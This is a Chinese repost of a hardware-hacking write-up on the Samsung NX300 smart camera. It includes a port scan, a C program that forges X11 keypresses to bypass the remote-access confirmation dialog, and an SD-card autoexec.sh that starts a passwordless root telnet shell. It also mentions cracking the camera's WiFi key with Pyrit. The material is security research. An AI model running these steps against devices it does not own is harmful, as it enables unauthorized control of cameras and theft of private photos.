神刀安全网

揭秘黑客是如何黑掉三星NX300智能相机的

揭秘黑客是如何黑掉三星NX300智能相机的

三星NX300是一款无反光相机且内置NFC功能并可以连接WiFi。你可以通过连接本地WiFi将需要上传的内容传至云服务器,通过DLNA电视或智能手机来分享图片,对于后者提供了远程远程取景器以及MobileLink 功能,通过没有加密的无线接入点可以访问X server以及任何数据。

下文将会展示过程,当然你也可以随时关注这个项目。

NFC标签

Ntag203是指NFC里面的芯片的一种,同时也是是NXP推出的第一款针对NFC的芯片。利用预编程在用户存储器缓冲区里面的SRAM映射允许NDEF消息内容的动态更新,通过谷歌商店下载并安装三星智能相机APP,然后向应用程序提供无线接入点名称。

Type: MIME: application/com.samsungimaging.connectionmanager

Payload: AP_SSC_NX300_0-XX:XX:XX

Type: EXTERNAL: urn:nfc:ext:android.com:pkg

Payload: com.samsungimaging.connectionmanager

标签是可以擦写的,所以一些恶意攻击者可以修改标签来下载恶意程序,然后再打开网页发现访问的是非法网站,通过具有NFC功能的智能手机就可以看到,这可以证明修改

标签可以自定义一个网站链接,deployed标签是支持长久写入锁定的,如果你遇到一个爱开玩笑的恶意攻击者,会把你的设备定向到一个色情网站。

WiFi无线网络

你可以配置NX300来连接无线网络,它会开放一些功能,例如DLNA功能,来运行一下端口扫描来看看都有什么服务

megavolt:~# nmap -sS -O nx300

Starting Nmap 6.25 ( http://nmap.org ) at 2013-11-21 22:37 CET

Nmap scan report for nx300.local (192.168.0.147)

Host is up (0.0089s latency).

Not shown: 999 closed ports

PORT     STATE SERVICE

6000/tcp open  X11

MAC Address: A0:21:95:**:**:** (Unknown)

No exact OS matches for host (If you know what OS is running on it, see here ).

当“E-Mail”应用程序打开之后,开始扫描,当MobileLink、7676/tcp以及AllShare Play开启。此外,远程取景器模式开启,也需要打开7679/tcp。

X Server

X Server是开放的吗?

georg@megavolt:~$ DISPLAY=nx300:0 xlsfonts

-misc-fixed-medium-r-semicondensed–0-0-75-75-c-0-iso8859-1

-misc-fixed-medium-r-semicondensed–13-100-100-100-c-60-iso8859-1

-misc-fixed-medium-r-semicondensed–13-120-75-75-c-60-iso8859-1

6×13

cursor

fixed

georg@megavolt:~$ DISPLAY=nx300:0 xrandr

Screen 0: minimum 320 x 200, current 480 x 800, maximum 4480 x 4096

LVDS1 connected 480×800+0+0 (normal left inverted right x axis y axis) 480mm x 800mm

480×800        60.0*+

HDMI1 disconnected (normal left inverted right x axis y axis)

georg@megavolt:~$ for i in $(xdotool search ‘.’) ; do xdotool getwindowname $i ; done

Defaulting to search window name, class, and classname

Enlightenment Background

acdaemon,key,receiver

Enlightenment Black Zone (0)

Enlightenment Frame

di-camera-app-nx300

Enlightenment Frame

smart-wifi-app-nx300

不!这个X server并没有受到保护,这里出现了运行程序提示,我们甚至可以在里面运行应用程序,但显示内容有限

揭秘黑客是如何黑掉三星NX300智能相机的

X11 Key

利用相机上键子与X11系统功能进行绑定,如下

揭秘黑客是如何黑掉三星NX300智能相机的

无线网客户端:固件更新检测

当相机开启时候,会进行检索,向 http://gld.samsungosp.com 发出一个请求

请求:

GET / HTTP/1.1

Content-Type: text/xml;charset=utf-8

Accept: application/x-shockwave-flash, application/vnd.ms-excel, */*

Accept-Language: ko

User-Agent: Mozilla/4.0

Host: gld.samsungosp.com

返回结果

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/html

Date: Thu, 28 Nov 2013 16:23:48 GMT

Last-Modified: Mon, 31 Dec 2012 02:23:18 GMT

Server: nginx/0.7.65

Content-Length: 7

Connection: keep-alive

200 OK

响应:

这看起来像是空操作指令,但也许这是一个后门,允许远程执行代码?谁知道?然后向 http://ipv4.connman.net/online/status.html 发出请求,返回一个空文件。里面的文件头含有你的位置信息(显然是从IP地址获取的)

X-ConnMan-Status: online

X-ConnMan-Client-IP: ###.###.##.###

X-ConnMan-Client-Address: ###.###.##.###

X-ConnMan-Client-Continent: EU

X-ConnMan-Client-Country: DE

X-ConnMan-Client-Region: ##

X-ConnMan-Client-City: ###### (my actual city)

X-ConnMan-Client-Latitude: ##.166698

X-ConnMan-Client-Longitude: ##.666700

X-ConnMan-Client-Timezone: Europe/Berlin

好吧他们知道我的IP,至少没有查询任何特定的标识符然后发送,最后一步,相机固件版本更新以及根据日志重新定向到一个XML文档。到目前为止已知的版本:

1.40 XML (ZIP, 241MB)

1.32 XML (ZIP, 241MB)

WiFi接入点:UPnP/DLNA

两个应用程序(MobileLink, Remote Viewfinder)连接未加密无线接入点 AP_SSC_NX300_0-XX:XX:XX (XX:XX:XX是Mac地址一部分),值得注意的是,这里有一个认证的对话框,防止远程控制。

揭秘黑客是如何黑掉三星NX300智能相机的

不幸的是这个对话框出现在开放的X server上面,所以我们需要伪造一个KP_Return事件(基于bharathisubramanian实例),根据启用的不同模式,我们可以连接任意的客户端,然后利用sd卡下载图片资料。

#include <X11/Xlib.h>

#include <X11/Intrinsic.h>

#include <X11/extensions/XTest.h>

#include <unistd.h>

/* Send Fake Key Event */

static void SendKey (Display * disp, KeySym keysym, KeySym modsym){

KeyCode keycode = 0, modcode = 0;

keycode = XKeysymToKeycode (disp, keysym);

if (keycode == 0) return;

XTestGrabControl (disp, True);

/* Generate modkey press */

if (modsym != 0) {

modcode = XKeysymToKeycode(disp, modsym);

XTestFakeKeyEvent (disp, modcode, True, 0);

}

/* Generate regular key press and release */

XTestFakeKeyEvent (disp, keycode, True, 0);

XTestFakeKeyEvent (disp, keycode, False, 0);

/* Generate modkey release */

if (modsym != 0)

XTestFakeKeyEvent (disp, modcode, False, 0);

XSync (disp, False);

XTestGrabControl (disp, False);

}

/* Main Function */

int main (){

Display *disp = XOpenDisplay (NULL);

sleep (1);

/* Send Return */

SendKey (disp, XK_Return, 0);

}

DLNA服务:远程取景器

当使用安卓系统应用程序里面查询功能DLNA 服务会暴漏出相机的一些问题,设备名称[Camera]NX300,可以通过HTTP 请求发送 http://nx300:7676/smp_2_

<dlna:X_DLNADOC>DMS-1.50</dlna:X_DLNADOC>

<deviceType>urn:schemas-upnp-org:device:MediaServer:1</deviceType>

<friendlyName>[Camera]NX300</friendlyName>

<manufacturer>Samsung Electronics</manufacturer>

<manufacturerURL> http://www.samsung.com </manufacturerURL>

<modelDescription>Samsung Camera DMS</modelDescription>

<modelName>SP1</modelName>

<modelNumber>1.0</modelNumber>

<modelURL> http://www.samsung.com </modelURL>

<serialNumber>20081113 Folderview</serialNumber>

<sec:X_ProductCap>smi,getMediaInfo.sec,getCaptionInfo.sec</sec:X_ProductCap>

<UDN>uuid:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</UDN>

<serviceList>

<service>

<serviceType>urn:schemas-upnp-org:service:ContentDirectory:1</serviceType>

<serviceId>urn:upnp-org:serviceId:ContentDirectory</serviceId>

<controlURL>/smp_4_</controlURL>

<eventSubURL>/smp_5_</eventSubURL>

<SCPDURL>/smp_3_</SCPDURL>

</service>

<service>

<serviceType>urn:schemas-upnp-org:service:ConnectionManager:1</serviceType>

<serviceId>urn:upnp-org:serviceId:ConnectionManager</serviceId>

<controlURL>/smp_7_</controlURL>

<eventSubURL>/smp_8_</eventSubURL>

<SCPDURL>/smp_6_</SCPDURL>

</service>

</serviceList>

<sec:deviceID>

</sec:deviceID>

</device>

附加SOAP服务来改变对焦和闪光灯设置 (/smp_3_)

揭秘黑客是如何黑掉三星NX300智能相机的

另外一种服务图像/视频 (/smp_4_)

<?xml version=”1.0″ encoding=”utf-8″?>

<s:Envelope xmlns:s=” http://schemas.xmlsoap.org/soap/envelope/ ” s:encodingStyle=” http://schemas.xmlsoap.org/soap/encoding/ “>

<s:Body>

<u:GetInfomationResponse xmlns:u=”urn:schemas-upnp-org:service:ContentDirectory:1″>

<GETINFORMATIONRESULT>

<Resolutions>

<Resolution><Width>5472</Width><Height>3648</Height></Resolution>

<Resolution><Width>1920</Width><Height>1080</Height></Resolution>

</Resolutions>

<Flash>

<Supports><Support>off</Support><Support>auto</Support></Supports>

<Defaultflash>auto</Defaultflash>

</Flash>

<FlashDisplay>

<Supports><Support>off</Support><Support>auto</Support></Supports>

<CurrentFlashDisplay>off</CurrentFlashDisplay>

</FlashDisplay>

<ZoomInfo>

<DefaultZoom>0</DefaultZoom>

<MaxZoom>1</MaxZoom>

</ZoomInfo>

<AVAILSHOTS>289</AVAILSHOTS>

<ROTATION>1</ROTATION>

<StreamQuality>

<Quality><Option>high</Option><Option>low</Option></Quality>

<Default>high</Default>

</StreamQuality>

</GETINFORMATIONRESULT>

<StreamUrl>

<QualityHighUrl> http://192.168.102.1:7679/livestream.avi </QualityHighUrl>

<QualityLowUrl> http://192.168.102.1:7679/qvga_livestream.avi </QualityLowUrl>

</StreamUrl>

</u:GetInfomationResponse>

</s:Body>

</s:Envelope>

再触发正确的指令后,一个在线的视频出现在 http://nx300:7679/livestream.avi ,如果尝试利用 wget或mplayer获取一些视频会失败。“源代码”在三星的开源软件发布 平台 ,压缩包大小约834MB,主要包括三份 rootfs image(每份400-500MB),还有一些脚本程序。当然在TIZEN/project/NX300/image/rootdir/opt/sd0/DCIM/100PHOTO下面会有一些Obamapics。该项目建立在旧版本的Tizen系统上,我在这方面不是高手,有些人会将这些分开,生成一个正确的运行环境或利用OpenWRT端口。

上面已经对NFC以及WiFi功能做了介绍,下面将会更深入的介绍,在相机上获取root权限并远程执行shell脚本程序,这个过程比较实用可以借鉴到不同的电子产品,例如家用路由器、智能电视机等。

固件:寻找漏洞

大多数的固件都在运行时会给用户提供一个shell脚本,这个功能通常是在“software engineers”添加的,从另一方面来看,这也是一个本地权限“后门”,对于相机,sd卡是一个存储与搜索文件的好地方。其它的一些设备可能从U盘或内置硬盘来运行程序。

通常情况下我们升级固件文件(nx300.bin压缩包大小241MB),通过 binwalk(固件分析软件)分析,设置并挂载根文件系统,然而在这种情况下,三星开源软件发布平台曾发布一个根系统文件树TIZEN/project/NX300/image/rootfs

georg@megavolt:TIZEN/project/NX300/image/rootfs$ ls -l

total 72

drwxr-xr-x  4 4096 Oct 16  2013 bin/

drwxr-xr-x  3 4096 Oct 16  2013 data/

drwxr-xr-x  3 4096 Oct 16  2013 dev/

drwxr-xr-x 38 4096 Oct 16  2013 etc/

drwxr-xr-x  9 4096 Oct 16  2013 lib/

-rw-r–r–  1  203 Oct 16  2013 make_image.log

drwxr-xr-x  8 4096 Oct 16  2013 mnt/

drwxr-xr-x  3 4096 Oct 16  2013 network/

drwxr-xr-x 16 4096 Oct 16  2013 opt/

drwxr-xr-x  2 4096 Oct 16  2013 proc/

lrwxrwxrwx  1   13 Oct 16  2013 root -> opt/home/root/

drwxr-xr-x  2 4096 Oct 16  2013 sbin/

lrwxrwxrwx  1    8 Oct 16  2013 sdcard -> /mnt/mmc

drwxr-xr-x  2 4096 Oct 16  2013 srv/

drwxr-xr-x  2 4096 Oct 16  2013 sys/

drwxr-xr-x  2 4096 Oct 16  2013 tmp/

drwxr-xr-x 16 4096 Oct 16  2013 usr/

drwxr-xr-x 13 4096 Oct 16  2013 var/

我们找到对应位置来看看 貌似这个文件make_image.log在相机组装之前,有人忘记清理了(这个文件实际上就存在相机中)

SBS logging begin

Wed Oct 16 14:27:21 KST 2013

WARNING: setting root UBIFS inode UID=GID=0 (root) and permissions to u+rwx,go+rx; use –squash-rino-perm or –nosquash-rino-perm to suppress this warning

如果我们可以认为/sdcard下有symlin,sd卡被挂载在/mnt/mmc目录下,实际上该目录下会有许多之前的脚本或者工具,我们开始运行它们

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep /mnt/mmc -r .

./etc/fstab:/dev/mmcblk0    /mnt/mmc        exfat   noauto,user,umask=1000 0 0

./etc/fstab:/dev/mmcblk0p1  /mnt/mmc        exfat   noauto,user,umask=1000 0 0

./usr/sbin/pivot_rootfs_ubi.sh:umount /oldroot/mnt/mmc

./usr/sbin/rcS.pivot:   mkdir -p /mnt/mmc

./usr/sbin/rcS.pivot:       mount -t vfat -o noatime,nodiratime $card_path /mnt/mmc

./usr/bin/inspkg.sh:    mount -t vfat /dev/mmcblk0 /mnt/mmc

./usr/bin/inspkg.sh:    mount -t vfat /dev/mmcblk0p1 /mnt/mmc

./usr/bin/inspkg.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc

./usr/bin/inspkg.sh:find /mnt/mmc -name “*$1*.deb” -exec dpkg -i {} /; 2> /dev/null

./usr/bin/ubi_initial.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc

./usr/bin/ubi_initial.sh:cd /mnt/mmc

./usr/bin/remount_mmc.sh:   nr_mnt_dev=`/usr/bin/stat -c %d /mnt/mmc` #/opt/storage

./usr/bin/remount_mmc.sh:       umount /mnt/mmc 2> /dev/null

./usr/bin/remount_mmc.sh:           /bin/mount -t vfat /dev/mmcblk${i}p1 /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed

./usr/bin/remount_mmc.sh:               /bin/mount -t vfat /dev/mmcblk${i} /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed

[ stripped a bunch of binary matches in /usr/bin and /usr/lib ]

在这里我们可以看到Linux启动配置文件(fstab, rcS.pivot, ubi_initial.sh),这有一个非常有趣的脚本可以让sd卡 (inspkg.sh)安装Debian 软件包,以及50个共享对象,同时在 /mnt/mmc

下存在可执行二进制文件。

脚本安装

首先我们来看看inspkg.sh

#! /bin/sh

echo $1

if [ "$#" = "2" ]

then

if [ "$2" = "0" ]

then

echo -e “mount mmcblk0..”

mount -t vfat /dev/mmcblk0 /mnt/mmc

else

echo -e “mount mmcblk0p1…”

mount -t vfat /dev/mmcblk0p1 /mnt/mmc

fi

else

echo -e “mount mmcblk0p1…”

mount -t vfat /dev/mmcblk0p1 /mnt/mmc

fi

find /mnt/mmc -name “*$1*.deb” -exec dpkg -i {} /; 2> /dev/null

echo -e “sync….”

sync

这是一个 shell 脚本,同时需要1-2个参数。第一个是为了寻找安装包的名称(利用find命令来查找目标名称),第二个命令被用来正确挂载sd卡分区,当然我们也可以用这个命令安装 dropbear、gcc、moon-buggy。现在我们就需要弄清楚这些脚本是如何运行的

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep -r inspkg.sh .

georg@megavolt:TIZEN/project/NX300/image/rootfs$

然而固件文件中并没有它,我们需要走另外一条路。

Binary Blob

在 /usr/bin目录下,里面最有意思的文件是 di-camera-app-nx300,可以参考/mnt/mmc/Demo/NX300_Demo.mp4,/mnt/mmc/SYSTEM/Device.xml以及/mnt/mmc/sounds/ 目录下的一些WAV文件,这些看起来和用户操作界面操作有关系(删除文件操作等)。这显然是 binary blob可以控制有趣的事情(如用户界面,快门,和图像处理器),目前有不少的电子消费产品已经开源了,并包含一个可执行程序运行库。正如预期的那样,这个程序不知道从哪里冒出来的,但有出现安装过安装包(di-camera-app-nx300 Debian (安装包version 0.2.387))的痕迹。

Package: di-camera-app-nx300

Status: install ok installed

Priority: extra

Section: misc

Installed-Size: 87188

Maintainer: Sookyoung Maeng <[snip]@samsung.com>, Jeounggon Yoo <[snip]@samsung.com>

Architecture: armel

Source: di-camera-app

Version: 0.2.387

Depends: libappcore-common-0, libappcore-efl-0, libaul-1, libbundle-0, libc6 (>= 2.4),

libdevman-0, libdlog-0, libecore, libecore-evas, libecore-file, libecore-input,

libecore-x, libedje (>= 0.9.9.060+svn20100304), libeina (>= 1.0.0.001+svn20100831),

libelm, libevas (>= 0.9.9.060+svn20100203), libgcc1 (>= 1:4.4.0),

libglib2.0-0 (>= 2.12.0), libmm-camcorder, libmm-player, libmm-sound-0,

libmm-utility, libnetwork-0, libnl2 (>= 2.0), libslp-pm-0, libslp-utilx-0,

libstdc++6 (>= 4.5), libvconf-0, libwifi-wolf-client, libx11-6,

libxrandr2 (>= 2:1.2.0), libxtst6, prefman, libproduction-mode,

libfilelistmanagement, libmm-common, libmm-photo, libasl, libdcm,

libcapture-fw-slpcam-nx300, libvideo-player-ext-engine, libhibernation-slpcam-0,

sys-mmap-manager, libstorage-manager, libstrobe, libdustreduction, libmm-slideshow,

di-sensor, libdi-network-dlna-api, libproduction-commands, d4library,

diosal

Description: Digital Imaging inhouse application for nx300

所以这个安装包通过即“ di-camera-app”创建的,除了“内部”,其它地方是不存在的。除了一些启动/停止程序脚本,在 TIZEN/build/exec.sh目录下还有一些有趣的脚本,看起来像是启动和安装混合在一起的脚本程序

#!/bin/sh

#

cp -f *.so /usr/lib

cp -f di-camera-app-nx300 /usr/bin

sync

sync

sync

sleep 1

cd /

startx; di-camera-app &

(因为只有一个是同步的,你可能一直不清楚这一点,如果你保证你的300%数据都已经写入进去可能两个程序都已经在运行状态下了)

当相机应用程序连接WiFi时,你会注意到另外一个“magic binary blob”, smart-wifi-app-nx300(三星创建的名称),然而没有一个程序做出有关代码执行的提示,我们需要更深入的挖掘。

搜索共享库

/usr/lib目录下情况有所不同,从文件中读取字符串到 string对象,一定要注意sd卡挂载点。(限制输出相关线程)

georg@megavolt:TIZEN/project/NX300/image/rootfs$ for f in `grep -l /mnt/mmc *.so` ; do /

echo “— $f” ; strings $f | grep /mnt/mmc; done

[snip]

— libmisc.so

/mnt/mmc

/mnt/mmc/autoexec.sh

— libnetwork.so

/mnt/mmc/iperf.txt

— libstorage.so

/usr/bin/iozone -A -s 40m -U /mnt/mmc -f /mnt/mmc/test -e > /tmp/card_result.txt

cp /tmp/card_result.txt /mnt/mmc

/mnt/mmc/auto_run.sh

/mnt/mmc/autoexec.sh以及/mnt/mmc/auto_run.sh这两个文件目录一直都是我们想要找到的。我们尝试修改其中一个看看会发生什么。

autoexec.sh

为了看见测试结果,我们需要通过USB安装相机驱动,在其文件夹根目录下创建autoexec.sh 文件(Windows用户注意,此处需要UNIX换行符!)

#!/bin/sh

LOG=/mnt/mmc/autoexec.log

date >> $LOG

id >> $LOG

echo “$PATH” >> $LOG

ps axfu >> $LOG

mount >> $LOG

卸载相机驱动,关掉再打开,等待几秒钟,再安装它,如果我们幸运的话可以很快看到测试结果。autoexec.log信息出现了!现在我们可以分析里面的内容了。

Fri May  9 06:25:20 UTC 2014

uid=0(root) gid=0(root)

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin:/sbin:/usr/local/bin:/usr/scripts

这个输出结果是刚刚出现的,并且以管理员权限运行的。

PID     VSZ   RSS STAT  COMMAND

[stripped boring kernel threads and some columns]

1    2988    52 Ss    init

139   11460  1348 S     /usr/bin/system_server

144    2652   188 Ss    dbus-daemon –system

181    3416   772 Ss    /usr/bin/power_manager

232   12268  4608 S<s+  /usr/bin/Xorg :0 -logfile /opt/var/log/Xorg.0.log -ac -noreset /

-r +accessx 0 -config /usr/etc/X11/xorg.conf -configdir /usr/etc/X11/xorg.conf.d

243    2988    76 Ss    init

244    2988    56 Ss    init

245    2988    60 Ss+   init

246    2988    56 Ss+   init

247    2988     8 S     sh /usr/etc/X11/xinitrc

256   20200  2336 S      /_ /usr/bin/enlightenment -profile samsung /

-i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it

254   19876     8 S     /usr/bin/launchpad_preloading_preinitializing_daemon

255   12648   816 S     /usr/bin/ac_daemon

259    3600     8 S     dbus-launch –exit-with-session /usr/bin/enlightenment -profile samsung /

-i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it

260    2652     8 Ss    /usr/bin/dbus-daemon –fork –print-pid 5 –print-address 7 –session

267  690688 34760 Ssl   di-camera-app-nx300

404    2988   520 S      /_ sh -c /mnt/mmc/autoexec.sh

405    2988   552 S          /_ /bin/sh /mnt/mmc/autoexec.sh

408    2860   996 R              /_ ps axfu

脚本程序( di-camera-app-nx300)被创建后,此处显示了详细的信息。这个挂载点也十分正确,上面显示了UBIFS闪存文件系统以及sd卡上的FAT64分区。

rootfs on / type rootfs (rw)

ubi0!rootdir on / type ubifs (ro,relatime,bulk_read,no_chk_data_crc)

devtmpfs on /dev type devtmpfs (rw,relatime,size=47096k,nr_inodes=11774,mode=755)

none on /proc type proc (rw,relatime)

tmpfs on /tmp type tmpfs (rw,relatime)

tmpfs on /var/run type tmpfs (rw,relatime)

tmpfs on /var/lock type tmpfs (rw,relatime)

tmpfs on /var/tmp type tmpfs (rw,relatime)

tmpfs on /var/backups type tmpfs (rw,relatime)

tmpfs on /var/cache type tmpfs (rw,relatime)

tmpfs on /var/local type tmpfs (rw,relatime)

tmpfs on /var/log type tmpfs (rw,relatime)

tmpfs on /var/mail type tmpfs (rw,relatime)

tmpfs on /var/opt type tmpfs (rw,relatime)

tmpfs on /var/spool type tmpfs (rw,relatime)

tmpfs on /opt/var/log type tmpfs (rw,relatime)

sysfs on /sys type sysfs (rw,relatime)

/dev/ubi2_0 on /mnt/ubi2 type ubifs (ro,noatime,nodiratime,bulk_read,no_chk_data_crc)

/dev/ubi1_0 on /mnt/ubi1 type ubifs (rw,noatime,nodiratime,bulk_read,no_chk_data_crc)

/dev/mmcblk0 on /mnt/mmc type exfat (rw,nosuid,nodev,noatime,nodiratime,uid=5000,gid=6,fmask=0022,

dmask=0022,allow_utime=0020,codepage=cp437,iocharset=iso8859-1,namecase=0,errors=remount-ro)

远程访问

当然当你加载第一个WiFi应用程序之前,默认情况下相机是处于没有连接WiFi的状态下。如果在家中可以测试邮件应用程序,当你启动应用程序,看起来相机正在搜索周围的网络(记得配置相机网络开关),并在这个步骤停留一段时间,保证与服务器连接是开放的(通过autoexec.sh)。在网上下载dropbear客户端(dropbear_rsa_host_key and authorized_keys),这就是我遇到的问题

[443] May 09 12:00:45 user ‘root’ has blank password, rejected

运行 Telnet服务

在这个时候我意识到了一件事情,我首先应该检查

lrwxrwxrwx    1    17 May 22  2013 /usr/sbin/telnetd -> ../../bin/busybox

我们自带busybox,同时busybox可以配置telnetd,这样就可以轻松实现远程访问,这个结果和我预期是一样的

georg@megavolt:~$ telnet nx300

Trying 192.168.0.147…

Connected to nx300.local.

Escape character is ‘^]’.

Connection closed by foreign host.

georg@megavolt:~$ telnet nx300

Trying 192.168.0.147…

telnet: Unable to connect to remote host: Connection refused

telnet端口是开放的,某些程序正在运行但是我的程序崩溃了,在重新启动安装之后又出现了该问题

telnetd: can’t find free pty

但该问题的解决方案(点击我)是存在的,现在我们可以开始远程登录相机吧?

georg@megavolt:~$ telnet nx300

Trying 192.168.0.147…

Connected to nx300.local.

Escape character is ‘^]’.

************************************************************

*                 SAMSUNG LINUX PLATFORM                   *

************************************************************

nx300 login: root

Login incorrect

到了这一步不能登录了,也许我们可以使用方法绕过这个?没有有关busybox telnetd的任何提示信息?

-l LOGIN        Exec LOGIN on connect

也许我们可以利用shell脚本来解决登录密码这个问题?我们来更改sd卡中 autoexec.sh脚本程序来实现这一点?

#!/bin/sh

mkdir -p /dev/pts

mount -t devpts none /dev/pts

telnetd -l /bin/bash -F > /mnt/mmc/telnetd.log 2>&1 &

在重新启动登录之后,进到系统里面了:

georg@megavolt:~$ telnet nx300

Trying 192.168.0.147…

Connected to nx300.local.

Escape character is ‘^]’.

************************************************************

*                 SAMSUNG LINUX PLATFORM                   *

************************************************************

nx300:/# cat /proc/cpuinfo

Processor       : ARMv7 Processor rev 8 (v7l)

BogoMIPS        : 1395.91

Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls

CPU implementer : 0×41

CPU architecture: 7

CPU variant     : 0×2

CPU part        : 0xc09

CPU revision    : 8

Hardware        : Samsung-DRIMeIV-NX300

Revision        : 0000

Serial          : 0000000000000000

nx300:/# free

total       used       free     shared    buffers     cached

Mem:        512092     500600      11492          0        132      41700

-/+ buffers/cache:     458768      53324

Swap:        30716       8084      22632

nx300:/# df -h /

Filesystem                Size      Used Available Use% Mounted on

ubi0!rootdir            352.5M    290.8M     61.6M  83% /

nx300:/# ls -al /opt/sd0/DCIM/100PHOTO/

total 1584

drwxr-xr-x    2 root     root           520 May 22  2013 .

drwxr-xr-x    3 root     root           232 May 22  2013 ..

-rwxr-xr-x    1 root     root        394775 May 22  2013 SAM_0015.JPG

-rwxr-xr-x    1 root     root        335668 May 22  2013 SAM_0016.JPG   [Obama was here]

-rwxr-xr-x    1 root     root        357591 May 22  2013 SAM_0017.JPG

-rwxr-xr-x    1 root     root        291493 May 22  2013 SAM_0018.JPG

-rwxr-xr-x    1 root     root        232470 May 22  2013 SAM_0019.JPG

nx300:/#

到了这一步之后,你就获取到网络权限从Linux应用程序到达了这里,你可以在相机上操作更多的东西了。前面已经对远程控制做出了说明,到这里主要是对前面项目做一些整理以及补充。

三星NX300固件更新

固件版本1.41, X server 是关闭的,并且多了一个WiFi加密选项(wpa2)。

【V1.41 ]】

1、增加Wi-Fi隐私锁定功能

2、修改开源许可证

不幸的是,这个八位数的密码可以在1小时左右被GPU加速工具PYRIT破解,虽然没有较高的安全性,但这也取决于攻击者。三星在1.11版本之后的固件就已经将 autoexec.sh,但作者建议移回,认为这不是一个安全问题。

自动上传照片与备份

Markus A. Kuppe已经制作了一个 教程 关于NX300相机上传照片与备份的,主要利用相机上ftp客户端以及树莓派ftp服务器,值得注意的是在相机连接WiFi时候自动打开,利用 DBus以及wpa_supplicant.conf配置文件

cp /mnt/mmc/wpa_supplicant.conf /tmp/

/usr/bin/wlan.sh start NL 0×8210

/usr/sbin/connmand -W nl80211 -r

/usr/sbin/net-config

sleep 2

dbus-send –system –type=method_call –print-reply –dest=net.connman /

/net/connman/service/wifi_a0219572b25b_7777772e6c656d6d737465722e6465_managed_psk /

net.connman.Service.Connect

Jonathan Dieter 做的备份程序( 点击我 )。

附加内核模块

Markus提供了 额外的内核模块 ,可以允许我们扩展功能但又不用重刷固件。

加密照片

Doug Hickok提出了一个方案,他修改了固件使用密匙加密照片,这个比较有趣如果一个摄影师或者记者想要保存照片就可以这样做。储存在sd卡的第一张图片就可以加密同时也可以删除,但

尽量不要在实际中使用,一旦失误操作是很悲剧的。

Samsung NX系列相机

Samsung NX系列相机基于Tizen系统(NX1、NX200、NX2000、NX300M等),作者给出了一些详细信息( 点击我 )。

详细了解( 点击我 )。

*参考来源: op-co ,FB小编亲爱的兔子编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM) 

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 揭秘黑客是如何黑掉三星NX300智能相机的

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮